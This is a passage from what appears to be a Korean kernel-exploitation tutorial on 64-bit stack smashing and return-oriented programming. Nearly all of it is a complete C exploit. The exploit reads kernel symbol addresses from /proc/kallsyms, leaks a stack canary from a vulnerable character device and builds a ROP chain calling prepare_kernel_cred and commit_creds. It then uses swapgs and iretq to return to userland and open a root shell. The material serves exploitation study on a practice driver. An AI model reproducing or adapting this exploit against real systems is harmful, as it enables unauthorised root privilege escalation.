...
03.Stack smashing(64bit) & ROP
Set environment
Proof of concept
- 02.Stack smashing(64bit) & Return-to-user(ret2usr)- Proof of concept 에서 Proofofconcept 에서 사용한 Example code를 사용합니다.
Return Oriented Programming
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o rop exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 struct register_val { uint64_t user_rip; uint64_t user_cs; uint64_t user_rflags; uint64_t user_rsp; uint64_t user_ss; } __attribute__((packed)); struct register_val rv; size_t commit_creds, prepare_kernel_cred; void getShell(void) { execl("/bin/sh","sh",NULL); } void backup_rv(void) { asm("mov rv+8, cs;" "pushf; pop rv+16;" "mov rv+24, rsp;" "mov rv+32, ss;" ); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); char buf[0x30] = {0}; while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p += 3; if(!strcmp(p,str)){ char hex[20] = {0}; strncpy(hex, addr, 16); if(strcmp(str,"prepare_kernel_cred") == 0){ sscanf(hex, "%lx", &prepare_kernel_cred); return 1; }else if(strcmp(str,"commit_creds") == 0){ sscanf(hex, "%lx", &commit_creds); return 1; } } } return 0; } int main() { static char buf[512]; size_t rop[512] = {0}; char val[8]; int fd,i,j; if(kallsym_getaddr("commit_creds") == 0) { printf("failed to get commit_creds address\n"); return 0; } if(kallsym_getaddr("prepare_kernel_cred") == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } printf("prepare_kernel_cred addr: %p\n", (void*)prepare_kernel_cred); printf("commit_creds addr: %p\n", (void*)commit_creds); lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); backup_rv(); rop[8] = canary; rop[9] = 0; rop[10] = 0; rop[11] = 0; rop[12] = 0xffffffff813e223f; //pop_rdi rop[13] = 0; rop[14] = prepare_kernel_cred; // Call prepare_kernel_cred rop[15] = 0xffffffff8112d952; //pop rdx ; ret ; rop[16] = commit_creds; rop[17] = 0xffffffff817e9e92; //mov rdi, rax ; call rdx(commit_creds) ; rop[18] = 0; rop[19] = 0xffffffff810613d4; //swapgs ; pop rbp ; ret ; rop[20] = 0; rop[21] = 0xffffffff817f7a97; //iretq; rop[22] = (size_t)getShell; rop[23] = rv.user_cs; rop[24] = rv.user_rflags; rop[25] = rv.user_rsp; rop[26] = rv.user_ss; write(fd, rop, 8*27); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...